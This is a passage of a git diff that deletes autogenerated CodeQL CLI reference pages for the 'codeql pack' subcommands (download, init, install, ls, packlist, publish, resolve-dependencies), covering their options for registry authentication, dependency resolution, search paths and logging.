-\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/pack-download.md b/content/code-security/codeql-cli/codeql-cli-manual/pack-download.md deleted file mode 100644 index be1866b08874..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/pack-download.md +++ /dev/null @@ -1,194 +0,0 @@ ---- -title: pack download -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: |- - Download the set of qlpacks referenced by the query - spec of the command line from the registry. Packs can be provided by - name or implicitly inside of a query suite (.qls) file. -redirect_from: - - /code-security/codeql-cli/manual/pack-download ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql pack download [--dir=<dir>] [--force] <options>... -- <scope/name[@version]|suite.qls>... -``` - -## Description - -Download the set of qlpacks referenced by the query spec of the command -line from the registry. Packs can be provided by name or implicitly -inside of a query suite (.qls) file. - -The packs will be downloaded and unzipped into the package cache by -default. - -Available since `v2.6.0`. - -## Options - -### Primary Options - -#### `<scope/name[@version]|suite.qls>...` - -\[Mandatory] List of CodeQL packs and query suites to download. If a -query suite is provided, its instructions will be inspected and all -referenced CodeQL packs will be downloaded. If you don't specify a -version for a CodeQL pack, then the latest version will be downloaded. - -#### `--format=<fmt>` - -Select output format, either `text` _(default)_ or `json`. - -#### `-d, --dir=<dir>` - -The directory to download the pack to. Defaults to installing into the -package cache. - -#### `--for-pack=<pack>` - -The pack whose dependencies are being downloaded. The package registry -for each pack will be determined by the 'registries' property of -\<pack>. - -#### `--[no-]allow-prerelease` - -Allow packs with pre-release version qualifiers (e.g., -`X.Y.Z-qualifier`) to be used. Without this flag, pre-release packs will -be ignored. - -Available since `v2.11.3`. - -#### `-f, --[no-]force` - -Allow overwriting already existing packs. - -### Options for finding QL packs (which may be necessary to interpret query suites) - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/pack-init.md b/content/code-security/codeql-cli/codeql-cli-manual/pack-init.md deleted file mode 100644 index 877bb4fb3d21..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/pack-init.md +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: pack init -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: 'Initializes a qlpack in the specified directory.' -redirect_from: - - /code-security/codeql-cli/manual/pack-init ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql pack init [--dir=<dir>] [--extractor=<extractor>] <options>... -- <package-name> -``` - -## Description - -Initializes a qlpack in the specified directory. - -The pack will be created in a child directory of the specified -directory. - -Available since `v2.6.0`. - -## Options - -### Primary Options - -#### `<package-name>` - -\[Mandatory] The scope and name of the pack to create. Scope is only -required if this pack is to be published. - -#### `--version=<semver>` - -Initial version of the pack. - -#### `-d, --dir=<dir>` - -The directory to create the pack in. Defaults to current working -directory. - -#### `-e, --extractor=<extractor>` - -The extractor to use for this qlpack. Only useful if this pack contains -tests. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/pack-install.md b/content/code-security/codeql-cli/codeql-cli-manual/pack-install.md deleted file mode 100644 index a3f6b31a5f0a..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/pack-install.md +++ /dev/null @@ -1,235 +0,0 @@ ---- -title: pack install -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: 'Install dependencies for this pack.' -redirect_from: - - /code-security/codeql-cli/manual/pack-install ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql pack install [--force] <options>... -- <dir> -``` - -## Description - -Install dependencies for this pack. - -This command installs the dependencies of the pack. If a -codeql-pack.lock.yml exists, the versions specified in that lock file -will be installed if they are compatible with the version constraints -specified in the qlpack.yml file. If any dependency versions specified -in the lock file are incompatible with this pack's constraints, this -command will install the latest compatible version of each of those -dependencies, updating the lock file with the newly chosen versions. If -no lock file is present, this command installs the latest compatible -version of all dependencies, creating a new lock file. - -Available since `v2.6.0`. - -## Options - -### Primary Options - -#### `<dir>` - -The root directory of the package. - -#### `--format=<fmt>` - -Select output format, either `text` _(default)_ or `json`. - -#### `-f, --[no-]force` - -Allow overwriting already existing packs. - -#### `--[no-]allow-prerelease` - -Allow packs with pre-release version qualifiers (e.g., -`X.Y.Z-qualifier`) to be used. Without this flag, pre-release packs will -be ignored. - -Available since `v2.11.3`. - -#### `--lock-override=<file>` - -\[Advanced] Specifies an alternate lock file to use as the input to -dependency resolution. - -#### `--lock-output=<file>` - -\[Advanced] Specifies an alternate location to save the lock file -generated by dependency resolution. - -Available since `v2.14.1`. - -#### `--no-strict-mode` - -\[Advanced] Turn off strict mode to avoid a warning when resolving -packages from the `--additional-packs` - -and other locally resolved locations. Packages resolved locally are -never downloaded - -and will not be added to the package lock. - -#### `--mode=<mode>` - -\[Deprecated] Specifies how to resolve dependencies: - -`minimal-update` _(default)_: Update or create the codeql-pack.lock.yml -based on the existing contents of the qlpack.yml file. If any existing -codeql-pack.lock.yml does not satisfy the current dependencies in the -qlpack.yml, the lock file will be updated as necessary. - -`upgrade`: Update or create the codeql-pack.lock.yml to use the latest -versions of all dependencies, subject to the constraints in the -qlpack.yml file. This mode has been superseded by the 'codeql pack -upgrade' command. - -`verify`: Verify that the existing codeql-pack.lock.yml is still valid -with respect to the dependencies specified in the qlpack.yml file, or -fail the lock file if it does not exist. This mode has been superseded -by the 'codeql pack ci' command. - -`no-lock`: Ignore the existing codeql-pack.lock.yml and perform -resolution based on qlpack.yml file. Does not create or update the lock -file. - -`use-lock`: Use the existing codeql-pack.lock.yml file to resolve -dependencies, or create the lock file if it does not exist. - -`update`: \[Deprecated] Update or create the codeql-pack.lock.yml to -use the latest versions of all dependencies, subject to the constraints -in the qlpack.yml file. This mode has been superseded by the 'codeql -pack upgrade' command. - -### Options for resolving QL packs outside of the package registry - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/pack-ls.md b/content/code-security/codeql-cli/codeql-cli-manual/pack-ls.md deleted file mode 100644 index 9fea6ed53b8b..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/pack-ls.md +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: pack ls -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: |- - [Deep plumbing] List the CodeQL packages rooted at - this directory. This directory must contain a qlpack.yml or - .codeqlmanifest.json file. -redirect_from: - - /code-security/codeql-cli/manual/pack-ls ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql pack ls <options>... -- <dir> -``` - -## Description - -\[Deep plumbing] List the CodeQL packages rooted at this directory. -This directory must contain a qlpack.yml or .codeqlmanifest.json file. - -Available since `v2.7.1`. - -## Options - -### Primary Options - -#### `<dir>` - -The root directory of the package or workspace, defaults to the current -working directory. If this parameter points to a directory containing a -qlpack.yml, then this operation will run on only that CodeQL package. If -this parameter points to a directory containing a codeql-workspace.yml, -then this operation will run on all CodeQL packages in the workspace. - -### Options for configuring which CodeQL packs to apply this command to. - -#### `--format=<fmt>` - -Select output format, either `text` _(default)_ or `json`. - -#### `--groups=[-]<group>[,[-]<group>...]` - -List of CodeQL pack groups to include or exclude from this operation. A -qlpack in the given workspace is included if: - -* It is in at least one of the groups listed without a minus sign (this - condition is automatically satisfied if there are no groups listed - without a minus sign), and -* It is not in any group listed with a minus sign - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/pack-packlist.md b/content/code-security/codeql-cli/codeql-cli-manual/pack-packlist.md deleted file mode 100644 index f6bcec32990d..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/pack-packlist.md +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: pack packlist -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: |- - [Plumbing] Compute the set of files to be included in - a QL query pack or library pack. -redirect_from: - - /code-security/codeql-cli/manual/pack-packlist ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql pack packlist <options>... -- <dir> -``` - -## Description - -\[Plumbing] Compute the set of files to be included in a QL query pack -or library pack. - -This command determines the set of files to be included in the pack -based on the patterns specified in any `.gitignore` files present in the -pack or in an ancestor directory. - -Available since `v2.6.0`. - -## Options - -### Primary Options - -#### `<dir>` - -The root directory of the package. - -#### `--format=<fmt>` - -Select output format, either `text` _(default)_ or `json`. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/pack-publish.md b/content/code-security/codeql-cli/codeql-cli-manual/pack-publish.md deleted file mode 100644 index 7bbc1fbad0e4..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/pack-publish.md +++ /dev/null @@ -1,265 +0,0 @@ ---- -title: pack publish -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: Publishes a QL library pack to a package registry. -redirect_from: - - /code-security/codeql-cli/manual/pack-publish ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql pack publish [--dry-run] [--threads=<num>] [--ram=<MB>] [--pack=<folder> | <package.tgz>] <options>... -- <dir> -``` - -## Description - -Publishes a QL library pack to a package registry. - -This command publishes a pack to a package registry. Before publishing, -the pack is first compiled (if necessary) and bundled. - -Available since `v2.6.0`. - -## Options - -### Primary Options - -#### `<dir>` - -The root directory of the package or workspace, defaults to the current -working directory. If this parameter points to a directory containing a -qlpack.yml, then this operation will run on only that CodeQL package. If -this parameter points to a directory containing a codeql-workspace.yml, -then this operation will run on all CodeQL packages in the workspace. - -#### `-n, --[no-]dry-run` - -Print what would have been done, but do not actually publish the -package. - -#### `--no-keep` - -Delete the pack bundle after publishing. - -#### `-j, --threads=<num>` - -Use this many threads to compile queries. - -Defaults to 1. You can pass 0 to use one thread per core on the machine, -or -_N_ to leave _N_ cores unused (except still use at least one -thread). - -#### `-M, --ram=<MB>` - -Set total amount of RAM that the compiler should be allowed to use. - -#### `--no-precompile` - -\[Advanced] Avoid precompiling the compilation cache in the pack output -directory. This will reduce the size of the pack and the time it takes -to create it, but will require compilation before the pack can be run. -Only meaningful for query packs. - -#### `--no-validate-extensions` - -\[Advanced] Avoid validating data extensions as part of the compile -step. - -Available since `v2.13.3`. - -#### `--no-overwrite` - -\[Advanced] Avoid recompiling and overwriting any existing compiled -output from a previous invocation of this command. - -#### `-p, --pack=<folder> | <package.tgz>` - -\[Advanced] The location to place the packaged tarball. If this option -ends in .tgz, then the tarball will be created with that name. -Otherwise, a new directory is created at the specified path and one or -more tarballs are created there. Using .tgz is not allowed for -workspaces. - -#### `--file=<package.tgz>` - -\[Advanced] Upload `package.tgz` directly to the package registry -without trying to create or bundle anything new. - -#### `--[no-]allow-prerelease` - -Allow packs with pre-release version qualifiers (e.g., -`X.Y.Z-qualifier`) to be used. Without this flag, pre-release packs will -be ignored. - -Available since `v2.11.3`. - -### Options for configuring which CodeQL packs to apply this command to. - -#### `--format=<fmt>` - -Select output format, either `text` _(default)_ or `json`. - -#### `--groups=[-]<group>[,[-]<group>...]` - -List of CodeQL pack groups to include or exclude from this operation. A -qlpack in the given workspace is included if: - -* It is in at least one of the groups listed without a minus sign (this - condition is automatically satisfied if there are no groups listed - without a minus sign), and -* It is not in any group listed with a minus sign - -### Options to set up compilation environment - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -#### `--library-path=<dir>[:<dir>...]` - -\[Advanced] An optional list of directories that will be added to the -raw import search path for QL libraries. This should only be used if -you're using QL libraries that have not been packaged as QL packs. - -(Note: On Windows the path separator is `;`). - -#### `--dbscheme=<file>` - -\[Advanced] Explicitly define which dbscheme queries should be compiled -against. This should only be given by callers that are extremely sure -what they're doing. - -#### `--compilation-cache=<dir>` - -\[Advanced] Specify an additional directory to use as a compilation -cache. - -#### `--no-default-compilation-cache` - -\[Advanced] Don't use compilation caches in standard locations such as -in the QL pack containing the query or in the CodeQL toolchain -directory. - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/pack-resolve-dependencies.md b/content/code-security/codeql-cli/codeql-cli-manual/pack-resolve-dependencies.md deleted file mode 100644 index e429693ac44c..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/pack-resolve-dependencies.md +++ /dev/null @@ -1,223 +0,0 @@ ---- -title: pack resolve-dependencies -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: |- - [Plumbing] Compute the set of required dependencies - for this QL pack. -redirect_from: - - /code-security/codeql-cli/manual/pack-resolve-dependencies ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql pack resolve-dependencies <options>... -- <dir> -``` - -## Description - -\[Plumbing] Compute the set of required dependencies for this QL pack. - -This command searches the configured registries for required -dependencies and returns the list of resolved dependencies. - -Available since `v2.6.0`. - -## Options - -### Primary Options - -#### `<dir>` - -The root directory of the package. - -#### `--format=<fmt>` - -Select output format, either `text` _(default)_ or `json`. - -#### `--mode=<mode>` - -Specifies how to resolve dependencies: - -`minimal-update` _(default)_: Update or create the codeql-pack.lock.yml -based on the existing contents of the qlpack.yml file. If any existing -codeql-pack.lock.yml does not satisfy the current dependencies in the -qlpack.yml, the lock file will be updated as necessary. - -`upgrade`: Update or create the codeql-pack.lock.yml to use the latest -versions of all dependencies, subject to the constraints in the -qlpack.yml file. - -`verify`: Verify that the existing codeql-pack.lock.yml is still valid -with respect to the dependencies specified in the qlpack.yml file, or -fail the lock file if it does not exist. - -`no-lock`: Ignore the existing codeql-pack.lock.yml and perform -resolution based on qlpack.yml file. Does not create or update the lock -file. - -`use-lock`: Use the existing codeql-pack.lock.yml file to resolve -dependencies, or create the lock file if it does not exist. - -`update`: \[Deprecated] Update or create the codeql-pack.lock.yml to -use the latest versions of all dependencies, subject to the constraints -in the qlpack.yml file. Equivalent to 'upgrade' - -#### `--[no-]allow-prerelease` - -Allow packs with pre-release version qualifiers (e.g., -`X.Y.Z-qualifier`) to be used. Without this flag, pre-release packs will -be ignored. - -Available since `v2.11.3`. - -#### `--no-strict-mode` - -\[Advanced] Turn off strict mode to avoid a warning when resolving -packages from the `--additional-packs` - -and other locally resolved locations. Packages resolved locally are -never downloaded - -and will not be added to the package lock. - -#### `--lock-override=<file>` - -\[Advanced] Specifies an alternate lock file to use as the input to -dependency resolution. - -#### `--lock-output=<file>` - -\[Advanced] Specifies an alternate location to save the lock file -generated by dependency resolution. - -Available since `v2.14.1`. - -### Options for resolving QL packs outside of the package registry - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the 